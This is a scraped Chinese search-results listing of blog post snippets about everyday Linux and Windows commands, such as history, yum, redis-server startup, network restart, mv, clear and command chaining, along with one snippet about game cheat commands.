    万次阅读 2018-07-22 22:54:46
    查看历史命令 可以执行history命令查看历史命令: 翻到最后看看: 这些都是最近执行的命令: history命令后面可以加选项: -c:清空历史命令(包括缓存和文件) -w:把缓存中的历史命令写入历史命令保存...
  • *今天用liunx安装软件包 执行apt -get命令 提示找不到命令 如下: 我突然想到我用的是CentOS的软件安装 所以不是apt-get命令 是yum命令 # yum -y install firefox...
  • 有些人拿到单机,却不知道怎么刷装备,这里告诉你! 打开游戏主引擎界面,点击选项,点击游戏命令,即可看到所有游戏命令。也可以自定义游戏命令
  • 每天一个linux命令目录

    万次阅读 2013-05-05 12:08:26
    开始详细系统的学习linux常用命令,坚持每天一个命令,所以这个系列为每天一个linux命令。学习的主要参考资料为: 1.《鸟哥的linux私房菜》 2.http://codingstandards.iteye.com/blog/786653 3.linux命令五分钟...
  • 一个.bat文件执行多条命令

    万次阅读 2018-07-19 18:07:46
    最近用到的kafka队列,开启时需要启动自带的zookeeper,还有自身的kafka服务,因为业务需求,还要启动一个kafka-monitor服务,三条命令虽然不多,但是每次手打也是很费劲的,更何况组长说以后的kafka可能要做集群,...
  • linux 下redis启动命令

    万次阅读 2019-04-18 16:55:38
    linux 下redis启动命令 /usr/local/bin/redis-server /home/data/redis-3.2.1/redis.conf 如果不知道redis-server文件位置输入如下命令查询位置 find / -name redis-server 查看是否启动成功: netstat -nplt ...
  • Linux 重启网络服务的命令

    万次阅读 2011-12-26 20:25:31
    service network restart  or /etc/init.d/network restart
  • linux移动文件夹命令

    万次阅读 2013-12-28 11:52:17
    mv abc /home/wy/Desktop/ 将当前目录下的abc文件夹移动到/home/wy/Desktop/ 目录下
  • linux 清屏命令(3种方式)

    万次阅读 2017-12-31 10:17:17
    注:都是亲测有效的 (1)clear 这个命令将会刷新屏幕,本质上...这个命令将完全刷新终端屏幕,之前的终端输入操作信息将都会被清空,这样虽然比较清爽,但整个命令过程速度有点慢,使用较少。 (4)另外介绍一
  • Linux 连续执行多条命令的方法

    万次阅读 2011-12-26 21:19:17
    多个命令可以放在一行上,其执行情况得依赖于用在命令之间的分隔符。 如果每个命令被一个分号 (;) 所分隔,那么命令会连续的执行下去,如: 引用 beyes@linux-beyes:/proc> printf "%s/n" "This is ...
1 2 3 4 5 ... 20
收藏数 4,719,315
精华内容 1,887,726
关键字:

命令